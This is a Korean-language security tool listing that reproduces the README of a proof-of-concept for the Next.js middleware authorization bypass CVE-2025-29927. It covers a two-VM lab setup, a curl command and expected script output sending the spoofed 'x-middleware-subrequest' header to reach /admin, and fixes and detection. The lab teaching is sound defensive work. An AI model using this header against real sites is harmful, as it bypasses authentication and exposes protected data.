Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-29927-PoC — CVE-2025-29927에 대한 개념 증명 익스플로잇으로, Next.js 미들웨어 권한 부여 우회 취약점입니다. 취약한 대상 실습 환경과, 조작된 x-middleware-subrequest 헤더를 전송하여 우회를 검증하는 Python 스크립트가 포함되어 있습니다. | Kitploit
도구/GitHubGitHub/ritinify/cve-2025-29927-poc
ExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubritinify/cve-2025-29927-poc

CVE-2025-29927-PoC

CVE-2025-29927에 대한 개념 증명 익스플로잇으로, Next.js 미들웨어 권한 부여 우회 취약점입니다. 취약한 대상 실습 환경과, 조작된 x-middleware-subrequest 헤더를 전송하여 우회를 검증하는 Python 스크립트가 포함되어 있습니다.

저장소 보기
9시간 4분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-29927 — Next.js 미들웨어 권한 우회 검증 PoC

로컬 권한 랩(VMware: Ubuntu 타깃 + Kali 공격 머신)에서 CVE-2025-29927(Next.js 미들웨어 권한 우회)을 검증하기 위한 소형 GitHub 프로젝트입니다.

⚠️ 면책 조항: 본 프로젝트는 보안 교육, CTF 및 사용자가 소유하거나 명시적으로 권한을 부여받은 랩 환경에서만 사용하세요. 승인되지 않은 시스템에 사용하는 것은 엄격히 금지됩니다. 본 프로젝트의 오용으로 인한 결과는 사용자 본인의 책임입니다.


📋 목차

  • 1. 취약점 정보
  • 2. 취약점 원리(30초 요약)
  • 3. 저장소 구조
  • 4. 랩 토폴로지(VMware 가상 머신 2대)
  • 5. 타깃 머신 구축(Ubuntu 24.04)
  • 6. 공격 머신 준비(Kali)
  • 7. 로컬 검증(핵심 단계)
  • 8. PoC 파라미터 설명
  • 9. 타깃 머신 없이 빠른 자체 테스트(선택 사항)
  • 10. 수정 및 탐지
  • 11. 자주 묻는 질문 FAQ
  • 12. 참고 자료

1. 취약점 정보

취약점 공개 이후 대량의 프로덕션 환경의 관리 백엔드, 결제 콜백, 내부 페이지 API가 우회되었으며, Metasploit과 ProjectDiscovery Nuclei 모두 탐지 모듈을 포함했습니다. 2025년 가장 대표적인 '프레임워크 수준 권한 우회' 취약점 중 하나입니다.


2. 취약점 원리(30초 요약)

Next.js는 '인증 로직'을 middleware(미들웨어) 에 작성할 수 있습니다. 예:

root@kitploit:~
export function middleware(request) {
  if (!isLogin(request)) return NextResponse.redirect("/login"); // 미로그인 → 차단
  return NextResponse.next();
}

문제는 Next.js 내부적으로 클라이언트가 위조할 수 있는 요청 헤더에 의존하여 '이 요청이 이미 미들웨어를 실행했는지'를 판단한다는 점입니다:

root@kitploit:~
x-middleware-subrequest: middleware

영향받는 버전에서는 외부 요청이 이 내부 헤더를携带하면 Next.js가 미들웨어가 이미 실행되었다고 오인하여 전체 인증 미들웨어가 건너뛰어집니다. 공격자는 계정 없이 이 헤더만携带하여 /admin 등의 보호된 라우트에 접근하면 200으로 바로 도달합니다 — 페이지 자체는 일반적으로 미들웨어를 신뢰하고 이중 검증을 하지 않으므로 권한 검사가 무력화됩니다(신뢰 경계 오류).

💡 공개적으로 가장 널리 사용되는 값은 미들웨어 경로를 반복 연결한 형태입니다. 예: middleware:middleware:middleware:middleware:middleware; 단일 middleware는 일부 버전/디렉터리 구조에서 작동하지 않습니다(본 랩의 14.2.24 실측 결과). 본 PoC는 여러 후보 값을轮询하며, 하나라도 일치하면 우회에 성공합니다.


3. 저장소 구조

root@kitploit:~
CVE-2025-29927-PoC/
├── README.md                 # 본 문서(취약점 설명 + VMware 랩 튜토리얼)
├── LICENSE                   # MIT
├── .gitignore
├── exploit.py                # ★ Python3 순수 표준 라이브러리 검증 PoC(Kali/모든 머신에서 실행)
├── target/                   # ★ 자체 구축 취약점 랩(Ubuntu 타깃 머신에 복사)
│   ├── package.json          #   [email protected] 고정(영향받는 버전)
│   ├── middleware.js         #   실제 프로덕션을 모방한 '인증 미들웨어'
│   ├── pages/
│   │   ├── index.js          #   홈페이지
│   │   ├── login.js          #   로그인 페이지(리다이렉트되는 위치 데모)
│   │   └── admin.js          #   ★ 보호된 백엔드, 서버에서 flag.txt 읽음
│   ├── flag.txt              #   랩 플래그: FLAG{...}
│   ├── setup.sh              #   타깃 머신 원클릭 Node 20 설치 + npm install + build
│   └── start.sh              #   프로덕션 모드로 0.0.0.0:3000 리슨
└── tests/
    └── mock_target.py        #   Node 없는 모의 타깃(개발 자체 테스트 전용)

4. 랩 토폴로지(VMware 가상 머신 2대)

root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│ VMware Workstation Pro 17(호스트: Windows)                 │
│ 네트워크: NAT(기본 VMnet8), 두 VM 동일 서브넷, 상호 ping 가능 │
│                                                           │
│   ┌──────────────────┐        ┌─────────────────────┐     │
│   │ 타깃 Ubuntu 24.04 │        │ 공격 Kali Linux     │     │
│   │                  │  http   │                     │     │
│   │  Node 20 + Next  │◄───────│  python3 exploit.py  │     │
│   │  14.2.24 :3000   │  GET    │                     │     │
│   └──────────────────┘        └─────────────────────┘     │
│   IP: <TARGET_IP>              IP: <ATTACKER_IP>          │
└───────────────────────────────────────────────────────────┘

4.1 다운로드해야 할 항목

4.2 공통 가상 머신 설정

  1. 두 VM 모두 2 vCPU / 4 GB 메모리 / 40 GB 디스크 할당;
  2. 네트워크 어댑터는 모두 NAT 선택(동일 서브넷 통신 보장), 학습 목적이므로 브리지 불필요;
  3. Ubuntu 설치 시 OpenSSH server 체크(호스트에서 SSH로 파일 복사 용이);
  4. 시스템 설치 완료 및 인터넷 연결 확인 후 깨끗한 스냅샷 생성, 랩 재사용에 편리.

5. 타깃 머신 구축(Ubuntu 24.04)

아래 단계는 모두 Ubuntu 타깃 머신에서 실행합니다.

5.1 프로젝트 코드를 타깃 머신으로 가져오기(택 1)

root@kitploit:~
# 방법 A: 프로젝트를 자신의 GitHub에 푸시 후 clone(권장, GitHub에 올릴 예정이면 이 방법 사용)
git clone https://github.com/<사용자 이름>/CVE-2025-29927-PoC.git
cd CVE-2025-29927-PoC

# 방법 B: 호스트에서 scp로 전송
# scp -r CVE-2025-29927-PoC  ubuntu@<TARGET_IP>:~/

5.2 원클릭 의존성 설치 및 취약점 애플리케이션 빌드

root@kitploit:~
cd CVE-2025-29927-PoC/target
sudo bash setup.sh        # Node 20(LTS) 설치 + npm install + next build

setup.sh 내부 작업: apt 업데이트 → curl/CA/build 도구 설치 → NodeSource를 통해 Node.js 20 LTS 설치 → npm install([email protected] 등 의존성 다운로드) → npm run build.

5.3 취약점 애플리케이션 시작(프로덕션 모드, 포트 3000)

root@kitploit:~
bash start.sh
# "▲ Next.js 14.2.24" 및 "Local: http://0.0.0.0:3000" 표시되면 성공

다른 터미널을 열어 로컬 스모크 테스트 먼저 수행:

root@kitploit:~
curl -s http://127.0.0.1:3000            # 홈페이지, 200
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
# 예상 출력 307 —— 쿠키 없이 middleware가 차단(인증 정상 작동)
curl -s http://127.0.0.1:3000/admin      # body는 리다이렉트된 로그인 페이지 내용이어야 함

타깃 머신 방화벽은 기본적으로 인바운드를 차단하지 않음; ufw를 켠 경우: sudo ufw allow 3000/tcp.


6. 공격 머신 준비(Kali)

root@kitploit:~
sudo apt update
python3 --version          # Kali에 Python3 기본 포함, 추가 의존성 불필요(PoC 순수 표준 라이브러리)
ip -4 addr show            # Kali IP 기록(예: 192.168.x.xxx)

exploit.py를 Kali로 가져온 후(같은 저장소 clone 또는 scp 단일 파일), 먼저 두 VM이 통신되는지 확인:

root@kitploit:~
ping <TARGET_IP>           # 통신 확인 ↓
curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000   # 200 출력되어야 함

7. 로컬 검증(핵심 단계)

Kali 공격 머신에서 실행:

root@kitploit:~
python3 exploit.py -u http://<TARGET_IP>:3000

예상 출력

root@kitploit:~
[1/3] 기준 탐지   GET /admin(특수 헤더 없음)
      └─ 상태 코드 307 —— middleware가 정상 차단 ✓(취약점 환경 준비 완료)

[2/3] 우회 시도   x-middleware-subrequest: <후보 값轮询>
      └─ 헤더 값='middleware:middleware:middleware:middleware:middleware' 상태 코드 200 —— 우회 성공! 미들웨어 건너뜀 ✓

[3/3] 결과 추출
      └─ 백엔드 페이지에서 서버 flag.txt 읽음:
         FLAG{cve-2025-29927-lab-ok}

[+] 결론: VULNERABLE —— CVE-2025-29927 권한 우회 검증 통과

핵심 판단: 동일한 URL, 특수 헤더 없이 307 차단, x-middleware-subrequest 携带 시 200으로 백엔드 직접 도달 — 완전한 '인증 미들웨어 우회' 검증 루프.

curl로 재현(스크린샷 기록용)

root@kitploit:~
# ① 기준: 307 반환되어야 함(/login으로 리다이렉트)
curl -i http://<TARGET_IP>:3000/admin | head -n 10

# ② 공격: 200 반환 및 FLAG{...} 포함되어야 함
curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
     http://<TARGET_IP>:3000/admin | head -n 30

📌 실측 주의: 본 랩(Next 14.2.24 + 루트 디렉터리 middleware.js)에서 5중 값 middleware:middleware:middleware:middleware:middleware가 유효하며, 단일 middleware는 유효하지 않습니다. curl 수동 테스트 시 위 5중 값을 사용하세요; 불확실하면 exploit.py 실행(후보 값 자동轮询).


8. PoC 파라미터 설명

root@kitploit:~
usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
                  [--delay SECONDS] [--insecure] [--verbose]

  -u, --url URL        대상 주소, 예: http://192.168.162.10:3000
  --path PATH          보호된 경로, 기본 /admin
  --timeout SECONDS    단일 요청 타임아웃, 기본 10
  --delay SECONDS      요청 헤더 후보 값轮询 간격, 기본 0
  --insecure           HTTPS 인증서 검증 건너뜀
  --verbose            각 후보 헤더의 응답 상태 출력, 디버깅 편의

종료 코드: 0 = 취약점 존재 확인; 1 = 대상 영향 없음/모든 요청 실패; 2 = 파라미터 또는 환경 오류

9. 타깃 머신 없이 빠른 자체 테스트(선택 사항)

VMware가 없거나 Node를 먼저 설치하고 싶지 않을 때, 저장소에 포함된 모의 타깃으로 PoC 로직을 먼저 실행할 수 있습니다(호스트에 Python3만 있으면 됨, '307 차단 / 특수 헤더 200' 동작 모방):

root@kitploit:~
# 터미널 1: 모의 타깃 시작(127.0.0.1:8123 리슨)
python3 tests/mock_target.py

# 터미널 2: 검증
python3 exploit.py -u http://127.0.0.1:8123
# VULNERABLE 및 FLAG{mock-bypass-ok} 동일하게 출력되어야 함

주의: 모의기는 스크립트 로직 자체 테스트 전용; 공식 검증은 반드시 5, 6절의 실제 랩에서 수행하세요.


10. 수정 및 탐지

수정

  1. Next.js 업그레이드: npm i [email protected](또는 15.2.3+ / 해당 신규 버전), 재빌드 및 배포;
  2. 아키텍처 권장: 권한 부여를 미들웨어에만 의존하는 방어선으로 만들지 말 것 — 중요 라우트는 getServerSideProps / Route Handler / 백엔드 API 내에서 이중 신원 검증;
  3. 리버스 프록시/CDN/WAF 계층에서 모든 인바운드 x-middleware-subrequest 헤더 폐기.

탐지(업그레이드 전 기존 시스템 점검)

root@kitploit:~
# Nuclei 공식 템플릿
nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml

업그레이드 후 본 PoC를 다시 실행하면 '대상 영향 없음'이 출력되어야 합니다 — 이것이 수정 전후 대조의 검수 방식입니다.


11. 자주 묻는 질문 FAQ


12. 참고 자료

  • NVD 항목: CVE-2025-29927
  • Next.js 공식 보안 공지(2025-03-25)
  • Metasploit 탐지 모듈 PR(rapid7/metasploit-framework)
  • Nuclei 공식 템플릿: CVE-2025-29927.yaml
  • 참고 재현 프로젝트: lirantal/vulnerable-nextjs-14-CVE-2025-29927
도구 다운로드
항목내용
CVECVE-2025-29927
공개 날짜2025-03-25(Next.js 공식 보안 공지)
영향받는 구성 요소Vercel Next.js(Node.js 풀스택 프레임워크)
취약점 유형권한 우회 / 부적절한 권한 부여(CWE-863)
영향받는 버전< 12.3.5, < 13.5.9, < 14.2.25, < 15.2.3
수정 버전12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 이상
위험 등급Critical / 고위험(구체적인 점수는 NVD 페이지 기준)
용도이미지/소프트웨어권장 버전
가상 머신 소프트웨어VMware Workstation Pro 17(개인 사용은 무료)17.x
타깃 머신 이미지Ubuntu Server LTS ISO24.04.x
공격 머신Kali Linux(공식 VMware 사전 구축 이미지 또는 ISO 설치)2025.x
(선택 사항)호스트 8 GB 이상 메모리, 50 GB 이상 디스크—
현상원인 / 해결
next start 포트 점유 오류lsof -i :3000으로 점유 프로세스 확인, 또는 -p 3001로 변경
curl http://<TARGET_IP>:3000 연결 안 됨두 VM이 동일 NAT 서브넷에 없음; VMware 네트워크 어댑터 모두 NAT인지 확인, ip a로 서브넷 확인
/admin 접근 기준이 200middleware 미적용: middleware.js가 target/ 루트에 있고 setup.sh 빌드 성공했는지 확인
우회 시도해도 여전히 307버전/디렉터리 구조에 따라 유효 값이 다름: 먼저 python3 exploit.py --verbose 실행하여轮询 결과 확인; curl 수동 테스트는 5중 값 middleware:middleware:middleware:middleware:middleware 사용
Kali에서 Ubuntu ping 안 됨VMware NAT 기본 상호 통신; 그래도 안 되면 양 머신 방화벽 및 스냅샷 복원 확인
다른 Next 버전으로 검증하고 싶음target/package.json의 next 버전 변경 후 npm install && npm run build 재실행